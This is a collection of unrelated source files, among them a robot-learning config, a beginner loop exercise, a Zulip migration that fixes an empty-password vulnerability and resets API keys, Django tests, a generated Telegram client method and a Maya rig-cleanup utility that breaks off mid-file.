kouroshHakha/fist

328c098789239fd892e17edefd799fc1957ab637

[ "BSD-3-Clause" ]

1

2021-09-13T20:42:28.000Z

import os from spirl.models.closed_loop_spirl_mdl import GoalClSPiRLMdl from spirl.components.logger import Logger from spirl.utils.general_utils import AttrDict from spirl.configs.default_data_configs.kitchen import data_spec from spirl.components.evaluator import TopOfNSequenceEvaluator from spirl.data.kitchen.src.kitchen_data_loader import KitchenStateSeqDataset current_dir = os.path.dirname(os.path.realpath(__file__)) fewshot_dataset = KitchenStateSeqDataset( data_path='data/kitchen/kitchen-demo-topknob_bottomknob_hinge_slide.hdf5', num_demo=1, subseq_len=10, ) env = AttrDict( task_list = ['top burner', 'bottom burner', 'hinge cabinet', 'slide cabinet'] ) contra_model_cf = AttrDict( state_dimension=data_spec.state_dim, hidden_size=128, feature_size=32, ) configuration = { 'model': GoalClSPiRLMdl, 'logger': Logger, 'data_dir': '.', 'epoch_cycles_train': 1, 'evaluator': TopOfNSequenceEvaluator, 'top_of_n_eval': 100, 'top_comp_metric': 'mse', 'batch_size': 128, 'num_epochs': 50, 'fewshot_data': fewshot_dataset, 'fewshot_batch_size': 128, 'contra_config': contra_model_cf, 'contra_ckpt': './experiments/contrastive/kitchen/exact-mixed-all/exact_model.pt', 'finetune_vae': True, } configuration = AttrDict(configuration) model_config = AttrDict( state_dim=data_spec.state_dim, action_dim=data_spec.n_actions, n_rollout_steps=10, kl_div_weight=5e-4, nz_enc=128, nz_mid=128, n_processing_layers=5, cond_decode=True, checkpt_path=f'{os.environ["EXP_DIR"]}/skill_prior_learning/kitchen/hierarchical_cl_gc_top_bot_excluded' ) # Dataset data_config = AttrDict() data_config.dataset_spec = data_spec data_config.dataset_spec['dataset_path'] = './data/kitchen/kitchen-mixed-top-bot-excluded.hdf5' data_config.dataset_spec.subseq_len = model_config.n_rollout_steps + 1 # flat last action from seq gets cropped

30.873016

112

0.759897

import os from spirl.models.closed_loop_spirl_mdl import GoalClSPiRLMdl from spirl.components.logger import Logger from spirl.utils.general_utils import AttrDict from spirl.configs.default_data_configs.kitchen import data_spec from spirl.components.evaluator import TopOfNSequenceEvaluator from spirl.data.kitchen.src.kitchen_data_loader import KitchenStateSeqDataset current_dir = os.path.dirname(os.path.realpath(__file__)) fewshot_dataset = KitchenStateSeqDataset( data_path='data/kitchen/kitchen-demo-topknob_bottomknob_hinge_slide.hdf5', num_demo=1, subseq_len=10, ) env = AttrDict( task_list = ['top burner', 'bottom burner', 'hinge cabinet', 'slide cabinet'] ) contra_model_cf = AttrDict( state_dimension=data_spec.state_dim, hidden_size=128, feature_size=32, ) configuration = { 'model': GoalClSPiRLMdl, 'logger': Logger, 'data_dir': '.', 'epoch_cycles_train': 1, 'evaluator': TopOfNSequenceEvaluator, 'top_of_n_eval': 100, 'top_comp_metric': 'mse', 'batch_size': 128, 'num_epochs': 50, 'fewshot_data': fewshot_dataset, 'fewshot_batch_size': 128, 'contra_config': contra_model_cf, 'contra_ckpt': './experiments/contrastive/kitchen/exact-mixed-all/exact_model.pt', 'finetune_vae': True, } configuration = AttrDict(configuration) model_config = AttrDict( state_dim=data_spec.state_dim, action_dim=data_spec.n_actions, n_rollout_steps=10, kl_div_weight=5e-4, nz_enc=128, nz_mid=128, n_processing_layers=5, cond_decode=True, checkpt_path=f'{os.environ["EXP_DIR"]}/skill_prior_learning/kitchen/hierarchical_cl_gc_top_bot_excluded' ) data_config = AttrDict() data_config.dataset_spec = data_spec data_config.dataset_spec['dataset_path'] = './data/kitchen/kitchen-mixed-top-bot-excluded.hdf5' data_config.dataset_spec.subseq_len = model_config.n_rollout_steps + 1

true

790c8482c1e66dc7260d46dfd9b7f13d639df13f

1,019

py

Python

proj02_loops/proj02_01.py

ryanaspears/VSA

6532a447a6afc4bdc14eff58b99be9361e29e8f9

[ "MIT" ]

null

proj02_loops/proj02_01.py

ryanaspears/VSA

6532a447a6afc4bdc14eff58b99be9361e29e8f9

[ "MIT" ]

null

proj02_loops/proj02_01.py

ryanaspears/VSA

6532a447a6afc4bdc14eff58b99be9361e29e8f9

[ "MIT" ]

null

# Name: # Date: # proj02: sum # Write a program that prompts the user to enter numbers, one per line, # ending with a line containing 0, and keep a running sum of the numbers. # Only print out the sum after all the numbers are entered # (at least in your final version). Each time you read in a number, # you can immediately use it for your sum, # and then be done with the number just entered. # Example: # Enter a number to sum, or 0 to indicate you are finished: 4 # Enter a number to sum, or 0 to indicate you are finished: 5 # Enter a number to sum, or 0 to indicate you are finished: 2 # Enter a number to sum, or 0 to indicate you are finished: 10 # Enter a number to sum, or 0 to indicate you are finished: 0 # The sum of your numbers is: 21 input_sum = 0 var = 1 while var != 0: input1 = raw_input("Enter a number to sum, or 0 to indicate you are finished: ") input_sum = int(input1) + input_sum if int(input1) == 0: var = 0 print"The sum of your numbers is: " + str(input_sum)

35.137931

84

0.697743

input_sum = 0 var = 1 while var != 0: input1 = raw_input("Enter a number to sum, or 0 to indicate you are finished: ") input_sum = int(input1) + input_sum if int(input1) == 0: var = 0 print"The sum of your numbers is: " + str(input_sum)

false

true

790c8484bbd71d0aa80124fd55ed271bdea204d5

11,210

py

Python

zerver/migrations/0209_user_profile_no_empty_password.py

Bpapman/zulip

76eeb4f6bf7d6f706337c1bbc3d6e19818c945d8

[ "Apache-2.0" ]

null

zerver/migrations/0209_user_profile_no_empty_password.py

Bpapman/zulip

76eeb4f6bf7d6f706337c1bbc3d6e19818c945d8

[ "Apache-2.0" ]

null

zerver/migrations/0209_user_profile_no_empty_password.py

Bpapman/zulip

76eeb4f6bf7d6f706337c1bbc3d6e19818c945d8

[ "Apache-2.0" ]

1

2020-07-06T11:43:28.000Z

# Generated by Django 1.11.24 on 2019-10-16 22:48 from typing import Any, Set, Union import ujson from django.conf import settings from django.contrib.auth.hashers import check_password, make_password from django.db import migrations from django.db.backends.postgresql.schema import DatabaseSchemaEditor from django.db.migrations.state import StateApps from django.utils.timezone import now as timezone_now from zerver.lib.cache import cache_delete, user_profile_by_api_key_cache_key from zerver.lib.queue import queue_json_publish from zerver.lib.utils import generate_api_key def ensure_no_empty_passwords(apps: StateApps, schema_editor: DatabaseSchemaEditor) -> None: """With CVE-2019-18933, it was possible for certain users created using social login (e.g. Google/GitHub auth) to have the empty string as their password in the Zulip database, rather than Django's "unusable password" (i.e. no password at all). This was a serious security issue for organizations with both password and Google/GitHub authentication enabled. Combined with the code changes to prevent new users from entering this buggy state, this migration sets the intended "no password" state for any users who are in this buggy state, as had been intended. While this bug was discovered by our own development team and we believe it hasn't been exploited in the wild, out of an abundance of caution, this migration also resets the personal API keys for all users where Zulip's database-level logging cannot **prove** that user's current personal API key was never accessed using this bug. There are a few ways this can be proven: (1) the user's password has never been changed and is not the empty string, or (2) the user's personal API key has changed since that user last changed their password (which is not ''). Both constitute proof because this bug cannot be used to gain the access required to change or reset a user's password. Resetting those API keys has the effect of logging many users out of the Zulip mobile and terminal apps unnecessarily (e.g. because the user changed their password at any point in the past, even though the user never was affected by the bug), but we're comfortable with that cost for ensuring that this bug is completely fixed. To avoid this inconvenience for self-hosted servers which don't even have EmailAuthBackend enabled, we skip resetting any API keys if the server doesn't have EmailAuthBackend configured. """ UserProfile = apps.get_model('zerver', 'UserProfile') RealmAuditLog = apps.get_model('zerver', 'RealmAuditLog') # Because we're backporting this migration to the Zulip 2.0.x # series, we've given it migration number 0209, which is a # duplicate with an existing migration already merged into Zulip # master. Migration 0247_realmauditlog_event_type_to_int.py # changes the format of RealmAuditLog.event_type, so we need the # following conditional block to determine what values to use when # searching for the relevant events in that log. event_type_class = RealmAuditLog._meta.get_field('event_type').get_internal_type() if event_type_class == 'CharField': USER_PASSWORD_CHANGED: Union[int, str] = 'user_password_changed' USER_API_KEY_CHANGED: Union[int, str] = 'user_api_key_changed' else: USER_PASSWORD_CHANGED = 122 USER_API_KEY_CHANGED = 127 # First, we do some bulk queries to collect data we'll find useful # in the loop over all users below. # Users who changed their password at any time since account # creation. These users could theoretically have started with an # empty password, but set a password later via the password reset # flow. If their API key has changed since they changed their # password, we can prove their current API key cannot have been # exposed; we store those users in # password_change_user_ids_no_reset_needed. password_change_user_ids = set(RealmAuditLog.objects.filter( event_type=USER_PASSWORD_CHANGED).values_list("modified_user_id", flat=True)) password_change_user_ids_api_key_reset_needed: Set[int] = set() password_change_user_ids_no_reset_needed: Set[int] = set() for user_id in password_change_user_ids: # Here, we check the timing for users who have changed # their password. # We check if the user changed their API key since their first password change. query = RealmAuditLog.objects.filter( modified_user=user_id, event_type__in=[USER_PASSWORD_CHANGED, USER_API_KEY_CHANGED] ).order_by("event_time") earliest_password_change = query.filter(event_type=USER_PASSWORD_CHANGED).first() # Since these users are in password_change_user_ids, this must not be None. assert earliest_password_change is not None latest_api_key_change = query.filter(event_type=USER_API_KEY_CHANGED).last() if latest_api_key_change is None: # This user has never changed their API key. As a # result, even though it's very likely this user never # had an empty password, they have changed their # password, and we have no record of the password's # original hash, so we can't prove the user's API key # was never affected. We schedule this user's API key # to be reset. password_change_user_ids_api_key_reset_needed.add(user_id) elif earliest_password_change.event_time <= latest_api_key_change.event_time: # This user has changed their password before # generating their current personal API key, so we can # prove their current personal API key could not have # been exposed by this bug. password_change_user_ids_no_reset_needed.add(user_id) else: password_change_user_ids_api_key_reset_needed.add(user_id) if password_change_user_ids_no_reset_needed and settings.PRODUCTION: # We record in this log file users whose current API key was # generated after a real password was set, so there's no need # to reset their API key, but because they've changed their # password, we don't know whether or not they originally had a # buggy password. # # In theory, this list can be recalculated using the above # algorithm modified to only look at events before the time # this migration was installed, but it's helpful to log it as well. with open("/var/log/zulip/0209_password_migration.log", "w") as log_file: line = "No reset needed, but changed password: {}\n" log_file.write(line.format(password_change_user_ids_no_reset_needed)) AFFECTED_USER_TYPE_EMPTY_PASSWORD = 'empty_password' AFFECTED_USER_TYPE_CHANGED_PASSWORD = 'changed_password' MIGRATION_ID = '0209_user_profile_no_empty_password' def write_realm_audit_log_entry(user_profile: Any, event_time: Any, event_type: Any, affected_user_type: str) -> None: RealmAuditLog.objects.create( realm=user_profile.realm, modified_user=user_profile, event_type=event_type, event_time=event_time, extra_data=ujson.dumps({ 'migration_id': MIGRATION_ID, 'affected_user_type': affected_user_type, }) ) # If Zulip's built-in password authentication is not enabled on # the server level, then we plan to skip resetting any users' API # keys, since the bug requires EmailAuthBackend. email_auth_enabled = 'zproject.backends.EmailAuthBackend' in settings.AUTHENTICATION_BACKENDS # A quick note: This query could in theory exclude users with # is_active=False, is_bot=True, or realm__deactivated=True here to # accessing only active human users in non-deactivated realms. # But it's better to just be thorough; users can be reactivated, # and e.g. a server admin could manually edit the database to # change a bot into a human user if they really wanted to. And # there's essentially no harm in rewriting state for a deactivated # account. for user_profile in UserProfile.objects.all(): event_time = timezone_now() if check_password('', user_profile.password): # This user currently has the empty string as their password. # Change their password and record that we did so. user_profile.password = make_password(None) update_fields = ["password"] write_realm_audit_log_entry(user_profile, event_time, USER_PASSWORD_CHANGED, AFFECTED_USER_TYPE_EMPTY_PASSWORD) if email_auth_enabled and not user_profile.is_bot: # As explained above, if the built-in password authentication # is enabled, reset the API keys. We can skip bot accounts here, # because the `password` attribute on a bot user is useless. reset_user_api_key(user_profile) update_fields.append("api_key") event_time = timezone_now() write_realm_audit_log_entry(user_profile, event_time, USER_API_KEY_CHANGED, AFFECTED_USER_TYPE_EMPTY_PASSWORD) user_profile.save(update_fields=update_fields) continue elif email_auth_enabled and \ user_profile.id in password_change_user_ids_api_key_reset_needed: # For these users, we just need to reset the API key. reset_user_api_key(user_profile) user_profile.save(update_fields=["api_key"]) write_realm_audit_log_entry(user_profile, event_time, USER_API_KEY_CHANGED, AFFECTED_USER_TYPE_CHANGED_PASSWORD) def reset_user_api_key(user_profile: Any) -> None: old_api_key = user_profile.api_key user_profile.api_key = generate_api_key() cache_delete(user_profile_by_api_key_cache_key(old_api_key)) # Like with any API key change, we need to clear any server-side # state for sending push notifications to mobile app clients that # could have been registered with the old API key. Fortunately, # we can just write to the queue processor that handles sending # those notices to the push notifications bouncer service. event = {'type': 'clear_push_device_tokens', 'user_profile_id': user_profile.id} queue_json_publish("deferred_work", event) class Migration(migrations.Migration): atomic = False dependencies = [ ('zerver', '0208_add_realm_night_logo_fields'), ] operations = [ migrations.RunPython(ensure_no_empty_passwords, reverse_code=migrations.RunPython.noop), ]

48.73913

97

0.692507

from typing import Any, Set, Union import ujson from django.conf import settings from django.contrib.auth.hashers import check_password, make_password from django.db import migrations from django.db.backends.postgresql.schema import DatabaseSchemaEditor from django.db.migrations.state import StateApps from django.utils.timezone import now as timezone_now from zerver.lib.cache import cache_delete, user_profile_by_api_key_cache_key from zerver.lib.queue import queue_json_publish from zerver.lib.utils import generate_api_key def ensure_no_empty_passwords(apps: StateApps, schema_editor: DatabaseSchemaEditor) -> None: UserProfile = apps.get_model('zerver', 'UserProfile') RealmAuditLog = apps.get_model('zerver', 'RealmAuditLog') # series, we've given it migration number 0209, which is a event_type_class = RealmAuditLog._meta.get_field('event_type').get_internal_type() if event_type_class == 'CharField': USER_PASSWORD_CHANGED: Union[int, str] = 'user_password_changed' USER_API_KEY_CHANGED: Union[int, str] = 'user_api_key_changed' else: USER_PASSWORD_CHANGED = 122 USER_API_KEY_CHANGED = 127 # in the loop over all users below. # Users who changed their password at any time since account # creation. These users could theoretically have started with an # empty password, but set a password later via the password reset # flow. If their API key has changed since they changed their # password, we can prove their current API key cannot have been # exposed; we store those users in # password_change_user_ids_no_reset_needed. password_change_user_ids = set(RealmAuditLog.objects.filter( event_type=USER_PASSWORD_CHANGED).values_list("modified_user_id", flat=True)) password_change_user_ids_api_key_reset_needed: Set[int] = set() password_change_user_ids_no_reset_needed: Set[int] = set() for user_id in password_change_user_ids: # Here, we check the timing for users who have changed # their password. # We check if the user changed their API key since their first password change. query = RealmAuditLog.objects.filter( modified_user=user_id, event_type__in=[USER_PASSWORD_CHANGED, USER_API_KEY_CHANGED] ).order_by("event_time") earliest_password_change = query.filter(event_type=USER_PASSWORD_CHANGED).first() # Since these users are in password_change_user_ids, this must not be None. assert earliest_password_change is not None latest_api_key_change = query.filter(event_type=USER_API_KEY_CHANGED).last() if latest_api_key_change is None: # This user has never changed their API key. As a # result, even though it's very likely this user never # original hash, so we can't prove the user's API key # was never affected. We schedule this user's API key password_change_user_ids_api_key_reset_needed.add(user_id) elif earliest_password_change.event_time <= latest_api_key_change.event_time: password_change_user_ids_no_reset_needed.add(user_id) else: password_change_user_ids_api_key_reset_needed.add(user_id) if password_change_user_ids_no_reset_needed and settings.PRODUCTION: # to reset their API key, but because they've changed their # buggy password. # # In theory, this list can be recalculated using the above # algorithm modified to only look at events before the time # this migration was installed, but it's helpful to log it as well. with open("/var/log/zulip/0209_password_migration.log", "w") as log_file: line = "No reset needed, but changed password: {}\n" log_file.write(line.format(password_change_user_ids_no_reset_needed)) AFFECTED_USER_TYPE_EMPTY_PASSWORD = 'empty_password' AFFECTED_USER_TYPE_CHANGED_PASSWORD = 'changed_password' MIGRATION_ID = '0209_user_profile_no_empty_password' def write_realm_audit_log_entry(user_profile: Any, event_time: Any, event_type: Any, affected_user_type: str) -> None: RealmAuditLog.objects.create( realm=user_profile.realm, modified_user=user_profile, event_type=event_type, event_time=event_time, extra_data=ujson.dumps({ 'migration_id': MIGRATION_ID, 'affected_user_type': affected_user_type, }) ) # the server level, then we plan to skip resetting any users' API email_auth_enabled = 'zproject.backends.EmailAuthBackend' in settings.AUTHENTICATION_BACKENDS # and e.g. a server admin could manually edit the database to # change a bot into a human user if they really wanted to. And # there's essentially no harm in rewriting state for a deactivated for user_profile in UserProfile.objects.all(): event_time = timezone_now() if check_password('', user_profile.password): user_profile.password = make_password(None) update_fields = ["password"] write_realm_audit_log_entry(user_profile, event_time, USER_PASSWORD_CHANGED, AFFECTED_USER_TYPE_EMPTY_PASSWORD) if email_auth_enabled and not user_profile.is_bot: reset_user_api_key(user_profile) update_fields.append("api_key") event_time = timezone_now() write_realm_audit_log_entry(user_profile, event_time, USER_API_KEY_CHANGED, AFFECTED_USER_TYPE_EMPTY_PASSWORD) user_profile.save(update_fields=update_fields) continue elif email_auth_enabled and \ user_profile.id in password_change_user_ids_api_key_reset_needed: reset_user_api_key(user_profile) user_profile.save(update_fields=["api_key"]) write_realm_audit_log_entry(user_profile, event_time, USER_API_KEY_CHANGED, AFFECTED_USER_TYPE_CHANGED_PASSWORD) def reset_user_api_key(user_profile: Any) -> None: old_api_key = user_profile.api_key user_profile.api_key = generate_api_key() cache_delete(user_profile_by_api_key_cache_key(old_api_key)) event = {'type': 'clear_push_device_tokens', 'user_profile_id': user_profile.id} queue_json_publish("deferred_work", event) class Migration(migrations.Migration): atomic = False dependencies = [ ('zerver', '0208_add_realm_night_logo_fields'), ] operations = [ migrations.RunPython(ensure_no_empty_passwords, reverse_code=migrations.RunPython.noop), ]

true

790c860c3dff2bab32c7d3d6ac54f79baebccdb6

2,840

py

Python

systori/apps/directory/test_models.py

systori/systori

e309c63e735079ff6032fdaf1db354ec872b28b1

[ "BSD-3-Clause" ]

12

2018-01-30T00:44:06.000Z

2020-07-13T05:20:48.000Z

systori/apps/directory/test_models.py

systori/systori

e309c63e735079ff6032fdaf1db354ec872b28b1

[ "BSD-3-Clause" ]

36

2018-03-06T17:49:50.000Z

2020-06-23T19:26:00.000Z

systori/apps/directory/test_models.py

systori/systori

e309c63e735079ff6032fdaf1db354ec872b28b1

[ "BSD-3-Clause" ]

3

2018-08-03T07:03:09.000Z

2020-07-09T20:21:10.000Z

from django.test import TestCase from ..company.models import Company from ..project.models import * from .models import * def create_contact_data(self): self.company = Company.objects.create(schema="test", name="Test") self.company.activate() self.project = Project.objects.create(name="my project") self.contact = Contact.objects.create(first_name="Ludwig", last_name="von Mises") class ContactProjectTests(TestCase): def setUp(self): create_contact_data(self) def test_no_association(self): self.assertEquals(0, len(self.contact.projects.all())) self.assertEquals(0, len(self.contact.project_contacts.all())) self.assertEquals(0, len(self.project.contacts.all())) self.assertEquals(0, len(self.project.project_contacts.all())) def test_customer_association(self): ProjectContact.objects.create( project=self.project, contact=self.contact, association=ProjectContact.CUSTOMER, ) self.assertEquals(1, len(self.contact.projects.all())) self.assertEquals(1, len(self.project.contacts.all())) pc = ProjectContact.objects.get(project=self.project) self.assertEquals(ProjectContact.CUSTOMER, pc.association) class BillableContactTests(TestCase): def setUp(self): self.company = Company.objects.create(schema="test", name="Test") self.company.activate() self.project = Project.objects.create(name="my project") self.pc1 = ProjectContact.objects.create( project=self.project, contact=Contact.objects.create(first_name="A 1", last_name="B 1"), ) self.pc2 = ProjectContact.objects.create( project=self.project, contact=Contact.objects.create(first_name="A 2", last_name="B 2"), ) def test_no_billable_set(self): self.assertEqual( 0, self.project.project_contacts.filter(is_billable=True).count() ) def test_billable_set(self): self.pc1.is_billable = True self.pc1.save() self.assertEqual( 1, self.project.project_contacts.filter(is_billable=True).count() ) def test_only_one_contact_can_be_billable(self): self.pc1.is_billable = True self.pc1.save() self.assertEqual( 1, self.project.project_contacts.filter(is_billable=True).count() ) self.assertEqual( self.pc1, self.project.project_contacts.filter(is_billable=True).get() ) self.pc2.is_billable = True self.pc2.save() self.assertEqual( 1, self.project.project_contacts.filter(is_billable=True).count() ) self.assertEqual( self.pc2, self.project.project_contacts.filter(is_billable=True).get() )

35.5

85

0.65493

from django.test import TestCase from ..company.models import Company from ..project.models import * from .models import * def create_contact_data(self): self.company = Company.objects.create(schema="test", name="Test") self.company.activate() self.project = Project.objects.create(name="my project") self.contact = Contact.objects.create(first_name="Ludwig", last_name="von Mises") class ContactProjectTests(TestCase): def setUp(self): create_contact_data(self) def test_no_association(self): self.assertEquals(0, len(self.contact.projects.all())) self.assertEquals(0, len(self.contact.project_contacts.all())) self.assertEquals(0, len(self.project.contacts.all())) self.assertEquals(0, len(self.project.project_contacts.all())) def test_customer_association(self): ProjectContact.objects.create( project=self.project, contact=self.contact, association=ProjectContact.CUSTOMER, ) self.assertEquals(1, len(self.contact.projects.all())) self.assertEquals(1, len(self.project.contacts.all())) pc = ProjectContact.objects.get(project=self.project) self.assertEquals(ProjectContact.CUSTOMER, pc.association) class BillableContactTests(TestCase): def setUp(self): self.company = Company.objects.create(schema="test", name="Test") self.company.activate() self.project = Project.objects.create(name="my project") self.pc1 = ProjectContact.objects.create( project=self.project, contact=Contact.objects.create(first_name="A 1", last_name="B 1"), ) self.pc2 = ProjectContact.objects.create( project=self.project, contact=Contact.objects.create(first_name="A 2", last_name="B 2"), ) def test_no_billable_set(self): self.assertEqual( 0, self.project.project_contacts.filter(is_billable=True).count() ) def test_billable_set(self): self.pc1.is_billable = True self.pc1.save() self.assertEqual( 1, self.project.project_contacts.filter(is_billable=True).count() ) def test_only_one_contact_can_be_billable(self): self.pc1.is_billable = True self.pc1.save() self.assertEqual( 1, self.project.project_contacts.filter(is_billable=True).count() ) self.assertEqual( self.pc1, self.project.project_contacts.filter(is_billable=True).get() ) self.pc2.is_billable = True self.pc2.save() self.assertEqual( 1, self.project.project_contacts.filter(is_billable=True).count() ) self.assertEqual( self.pc2, self.project.project_contacts.filter(is_billable=True).get() )

true

790c876c497a26028208d38a1aa0636aa1e15800

2,020

py

Python

venv/Lib/site-packages/pyrogram/raw/functions/messages/get_dialog_unread_marks.py

iamgeorgiy/heroku-userbot

5a92417d16f8ead949d88cb38da213fc2da5d3a4

[ "Apache-2.0" ]

null

venv/Lib/site-packages/pyrogram/raw/functions/messages/get_dialog_unread_marks.py

iamgeorgiy/heroku-userbot

5a92417d16f8ead949d88cb38da213fc2da5d3a4

[ "Apache-2.0" ]

null

venv/Lib/site-packages/pyrogram/raw/functions/messages/get_dialog_unread_marks.py

iamgeorgiy/heroku-userbot

5a92417d16f8ead949d88cb38da213fc2da5d3a4

[ "Apache-2.0" ]

null

# Pyrogram - Telegram MTProto API Client Library for Python # Copyright (C) 2017-2020 Dan <https://github.com/delivrance> # # This file is part of Pyrogram. # # Pyrogram is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Pyrogram is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with Pyrogram. If not, see <http://www.gnu.org/licenses/>. from io import BytesIO from pyrogram.raw.core.primitives import Int, Long, Int128, Int256, Bool, Bytes, String, Double, Vector from pyrogram.raw.core import TLObject from pyrogram import raw from typing import List, Union, Any # # # # # # # # # # # # # # # # # # # # # # # # # !!! WARNING !!! # # This is a generated file! # # All changes made in this file will be lost! # # # # # # # # # # # # # # # # # # # # # # # # # class GetDialogUnreadMarks(TLObject): # type: ignore """Telegram API method. Details: - Layer: ``117`` - ID: ``0x22e24e22`` **No parameters required.** Returns: List of :obj:`DialogPeer <pyrogram.raw.base.DialogPeer>` """ __slots__: List[str] = [] ID = 0x22e24e22 QUALNAME = "functions.messages.GetDialogUnreadMarks" def __init__(self) -> None: pass @staticmethod def read(data: BytesIO, *args: Any) -> "GetDialogUnreadMarks": # No flags return GetDialogUnreadMarks() def write(self) -> bytes: data = BytesIO() data.write(Int(self.ID, False)) # No flags return data.getvalue()

30.149254

103

0.631188

from io import BytesIO from pyrogram.raw.core.primitives import Int, Long, Int128, Int256, Bool, Bytes, String, Double, Vector from pyrogram.raw.core import TLObject from pyrogram import raw from typing import List, Union, Any

true

790c87d6ab5b6406edbaf5b2a2fb86acf561e471

24,973

py

Python

utils/cleanup.py

fsanges/glTools

8ff0899de43784a18bd4543285655e68e28fb5e5

[ "MIT" ]

165

2015-01-26T05:22:04.000Z

2022-03-22T02:50:41.000Z

utils/cleanup.py

qeeji/glTools

8ff0899de43784a18bd4543285655e68e28fb5e5

[ "MIT" ]

5

2015-12-02T02:39:44.000Z

2020-12-09T02:45:54.000Z

utils/cleanup.py

qeeji/glTools

8ff0899de43784a18bd4543285655e68e28fb5e5

[ "MIT" ]

83

2015-02-10T17:18:24.000Z

2022-02-10T07:16:47.000Z

import maya.mel as mm import maya.cmds as mc import glTools.utils.attribute import glTools.utils.base import glTools.utils.layer import glTools.utils.reference import glTools.utils.shader import glTools.utils.shape import glTools.utils.transform import re # =========== # - Cleanup - # =========== def toggleCons(state): ''' Toggle the display state of all joint buffers ('Con') in the scene @param state: The display state to set the joint buffers to @type state: bool ''' # Get List of Con Joints conList = mc.ls('*Con*_jnt',type='joint') for conJnt in conList: # Toggle State if state: glTools.utils.base.displayOverride(conJnt,overrideEnable=1,overrideLOD=0) mc.setAttr(conJnt+'.drawStyle',0) # Bone else: glTools.utils.base.displayOverride(conJnt,overrideEnable=1,overrideLOD=1) mc.setAttr(conJnt+'.drawStyle',2) # None # Set Joint Radius if mc.getAttr(conJnt+'.radius',se=True): mc.setAttr(conJnt+'.radius',0.0) mc.setAttr(conJnt+'.radius',cb=False) # Hide Rotate Order if mc.getAttr(conJnt+'.ro',se=True): mc.setAttr(conJnt+'.ro',cb=False) # Return Result return conList def toggleEnds(state): ''' Toggle the display state of all joint buffers ('Con') in the scene @param state: The display state to set the joint buffers to @type state: bool ''' # Get list of End joints endList = mc.ls('*End_jnt',type='joint') for endJnt in endList: # Toggle state if state: glTools.utils.base.displayOverride(endJnt,overrideEnable=1,overrideLOD=0) mc.setAttr(endJnt+'.drawStyle',0) # Bone else: glTools.utils.base.displayOverride(endJnt,overrideEnable=1,overrideLOD=1) mc.setAttr(endJnt+'.drawStyle',2) # None # Set Joint Radius if mc.getAttr(endJnt+'.radius',se=True): mc.setAttr(endJnt+'.radius',0.0) mc.setAttr(endJnt+'.radius',cb=False) # Hide Rotate Order if mc.getAttr(endJnt+'.ro',se=True): mc.setAttr(endJnt+'.ro',cb=False) # Return Result return endList def disableDrawingOverrides(grp): ''' Disable drawing overrides for all DAG descendents of the specified transform node. @param state: The transform under which all descendent node drawing overrides will be disabled. @type state: bool ''' # ========== # - Checks - # ========== if not mc.objExists(grp): raise Exception('Transform "'+grp+'" does not exists!') if not glTools.utils.transform.isTransform(grp): raise Exception('Object "'+grp+'" is not a valid transform!') # Get Descendent Node List nodeList = mc.ls(mc.listRelatives(grp,ad=True, pa=True) or [],dag=True) or [] if not nodeList: return [] # ============================= # - Disable Drawing Overrides - # ============================= overrideName = 'overrideEnabled' for node in nodeList: # Check Override Attribute overrideAttr = node+'.'+overrideName if not mc.attributeQuery(overrideName,n=node,ex=True): print('Override attribute "'+overrideAttr+'" does not exist! Skipping...') continue # Check Override Attribute Connections overrideConn = mc.listConnections(overrideAttr,s=True,d=False) or [] if overrideConn: print('Found incoming connection for override attribute "'+overrideAttr+'"! ('+overrideConn[0]+')') print('Disconnecting attribute and disabling drawing overrides...') mc.disconnectAttr(overrideConn[0],overrideAttr) # Disable Drawing Overrides try: mc.setAttr(overrideAttr,0) except: pass # ================= # - Return Result - # ================= return nodeList # ========== # - Checks - # ========== def uniqueNameCheck(objList=[],transformsOnly=False): ''' Return a list of nodes with non unique names @param objList: List of scene objects to check. If empty, use all existing scene nodes. @type objList: list @param transformsOnly: Check transform names only @type transformsOnly: bool ''' # Get list of scene nodes if not objList: objList = mc.ls() if transformsOnly: nodeList = mc.ls(objList,transforms=True) else: nodeList = mc.ls(objList,dag=True) # Determine non unique names nonUniqueList = [i for i in nodeList if i.count('|')] # Return result return nonUniqueList def validNameCheck(objList=[]): ''' Check for valid names in the specified list of nodes @param objList: List of objects to check valid names for. If empty use all scene transforms @type objList: list ''' # Check geo list if not objList: objList = mc.ls() if not objList: return [] # Remove Default Nodes defNodes = ['dof1','time1','lambert1','postProcessList1','sequenceManager1','lightLinker1','renderGlobalsList1','dynController1','lightList1','particleCloud1','shaderGlow1'] objList = [obj for obj in objList if not defNodes.count(obj)] objList = [obj for obj in objList if not obj.startswith('default')] objList = [obj for obj in objList if not mc.nodeType(obj) == 'objectTypeFilter'] objList = [obj for obj in objList if not mc.nodeType(obj) == 'objectNameFilter'] objList = [obj for obj in objList if not mc.nodeType(obj) == 'objectScriptFilter'] # Check valid names result = [] for obj in objList: # Check prefix #if not obj.startswith('cn_') and not obj.startswith('lf_') and not obj.startswith('rt_'): # result.append(obj) # Check "pasted" if obj.count('pasted'): result.append(obj) # Check "poly" if obj.count('poly'): result.append(obj) # Check double underscore "__" if obj.count('__'): result.append(obj) # Check names ending with a digit (0-9) digitSearch = re.search('(\d+)$', obj) if digitSearch and glTools.utils.transform.isTransform(obj): if digitSearch.group(0): result.append(obj) # Remove Duplicate Entries result = list(set(result)) # Return result return result def shapeNameCheck( objList = [], typeList = ['mesh','nurbsCurve','nurbsSurface'], skipIntermediates = True, skipMultipleShapes = False, strict = True ): ''' Return a list of incorrectly named geometry shape nodes. @param objList: List of objects to check for valid shape names. If empty, get all nodes of the specified type. @type objList: list @param typeList: List of shape types to check for valid names. @type typeList: list @param skipIntermediates: Skip intermediate shapes. @type skipIntermediates: bool @param skipMultipleShapes: Skip objects with multiple shape nodes. @type skipMultipleShapes: bool @param strict: Shape name must match parent+"Shape" to pass. @type strict: bool ''' # ========== # - Checks - # ========== if not objList: objList = mc.ls(type=typeList) # ==================== # - Build Shape List - # ==================== shapeList = [] for obj in objList: # Get Shapes from Transform if glTools.utils.transform.isTransform(obj): # Check Multiple Shapes objShapes = mc.listRelatives(obj,s=True,pa=True) if not objShapes: continue if (len(objShapes) > 1) and skipMultipleShapes: continue # Get Shapes tShapeList = mc.listRelatives(obj,s=True,ni=skipIntermediates,pa=True) for shape in tShapeList: shapeList.append(obj) elif glTools.utils.shape.isShape(obj): shapeList.append(obj) else: print('Unable to determine shape from object "'+obj+'"! Skipping...') # ===================== # - 